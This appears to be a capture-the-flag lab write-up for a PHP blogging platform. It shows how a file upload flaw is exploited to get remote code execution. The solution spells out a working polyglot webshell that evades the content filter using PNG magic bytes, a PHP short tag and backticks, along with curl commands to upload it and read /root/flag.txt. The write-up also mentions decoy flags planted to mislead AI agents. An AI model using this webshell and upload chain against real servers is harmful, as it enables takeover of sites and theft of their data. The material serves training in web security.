Lab 163 — PostFlow — Unrestricted File Upload via Avatar Feature
Lab 163 — PostFlow — Unrestricted File Upload via Avatar Feature
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: backtick_command_execution, client_side_validation_bypass, content_filter_evasion_via_short_tags, decoy_flag_identification, php_short_tag_bypass, png_magic_bytes_prepend
Summary
Walkthrough of the CUSTOM Web Lab 163 — PostFlow — Unrestricted File Upload via Avatar Feature. Task: PHP blogging platform with avatar upload feature; server-side content filter blocks standard <?php tags but allows PHP short tags, and preserves .php extension in web-accessible uploads director
Description
PostFlow is a collaborative blogging platform where content teams create, edit, and publish articles. The platform features user profiles with customizable avatars, a rich post editor, media management, and public-facing blog pages with comments. Multiple author accounts are pre-configured. The platform supports user registration, profile customization with avatar uploads, blog post creation with category tagging, and a media library for managing uploaded images.
Target: https://18a73b3e-9a2b-4993-a6df-b8619886ca3d.labs.hackadvisor.io/
Credentials: user@test.com / password123
Objective: Discover a security weakness in the application and use it to read the flag stored on the server at /root/flag.txt.
Analysis
Reconnaissance
- Logged in with provided credentials via POST to
/loginwith CSRF token - Server stack: PHP 8.2.26 on nginx/1.25.5
- Explored dashboard and profile pages
- Profile page at
/profilehas avatar upload functionality, uploading via JavaScript to/profile/avatarendpoint - Reviewed
/js/profile.js— client-side validation only: allowed extensionsjpg, jpeg, png, gif, webp, max 2MB. The actual upload POST goes to/profile/avatarwith no server-side extension enforcement - The application contained decoy/honeypot flags (
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) hidden in HTML comments and invisible divs, designed to trick AI agents and automated scanners into stopping early — correctly identified and ignored
Vulnerability Identification
Three critical weaknesses combine to enable RCE:
- Extension preservation: The server preserves the original file extension from the upload filename. Uploading a file named
shell.phpresults in it being saved as/uploads/<random_hex>.php - PHP execution in uploads directory: nginx/PHP-FPM is configured to execute
.phpfiles in the/uploads/directory - Incomplete content filter: The server has a content-based filter that detects and blocks standard
<?phpopening tags, but does not detect PHP short tags (<?=). This is a critical oversight since PHP 8.x hasshort_open_tagenabled by default
Failed Approaches
- Plain PHP webshell (
<?php system($_GET["cmd"]); ?>) with.phpextension → Server responded:"Upload rejected: file content appears suspicious." - PNG magic bytes + standard PHP tags (
\x89PNG\r\n\x1a\n<?php ...) → Still blocked — content filter scans entire file body for<?php .phtmlextension with PNG header + standard PHP tags → Still blocked by content filter
Successful Bypass Strategy
The content filter only checks for the string <?php but not the PHP short tag <?=. Combined with backtick syntax for command execution, this creates a minimal webshell that evades detection:
<?=— PHP short echo tag (always available in PHP 8.x)`$_GET[1]`— backtick operator executes shell command and returns output- PNG magic bytes (
\x89PNG\r\n\x1a\n) prepended to pass any image header validation
Solution
Step 1: Craft the Payload
Create a polyglot file with PNG magic bytes followed by a PHP short tag webshell:
bash read-only • copy allowedprintf '\x89PNG\r\n\x1a\n<?=`$_GET[1]`?>' > shell2.php
This file:
- Starts with valid PNG magic bytes (
89 50 4E 47 0D 0A 1A 0A) — passes image header checks - Contains
<?=instead of<?php— evades the content filter - Uses backtick syntax for command execution — compact and effective
Step 2: Upload the Webshell
bash read-only • copy allowed# Login and capture session cookies + CSRF token curl -s -c cookies.txt -b cookies.txt "$URL/login" > /dev/null CSRF=$(curl -s -b cookies.txt "$URL/login" | grep -oP 'name="csrf_token" value="\K[^"]+') curl -s -c cookies.txt -b cookies.txt -X POST "$URL/login" \ -d "email=user@test.com&password=password123&csrf_token=$CSRF" # Get fresh CSRF token for upload CSRF=$(curl -s -b cookies.txt "$URL/profile" | grep -oP 'name="csrf_token" value="\K[^"]+') # Upload the webshell as avatar curl -s -b cookies.txt -X POST "$URL/profile/avatar" \ -F "avatar=@shell2.php;type=image/png" \ -F "csrf_token=$CSRF"
Server response:
json read-only • copy allowed{"success":true,"avatar_url":"\/uploads\/4cc73a5df232ad73.php"}
Key observations:
- The
.phpextension was preserved without sanitization - The content filter did not flag
<?=short tags - The file was placed in the web-accessible
/uploads/directory
Step 3: Execute Commands via Webshell
bash read-only • copy allowed# Read the flag curl -s "$URL/uploads/4cc73a5df232ad73.php?1=cat+/root/flag.txt"
Response:
FLAG{REDACTED}
Key Takeaways / Lessons
- Mastering backtick_command_execution, client_side_validation_bypass, content_filter_evasion_via_short_tags, decoy_flag_identification, php_short_tag_bypass, png_magic_bytes_prepend was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-08 • CUSTOM • Lab 163 — PostFlow — Unrestricted File Upload via Avatar Feature • Difficulty: Easy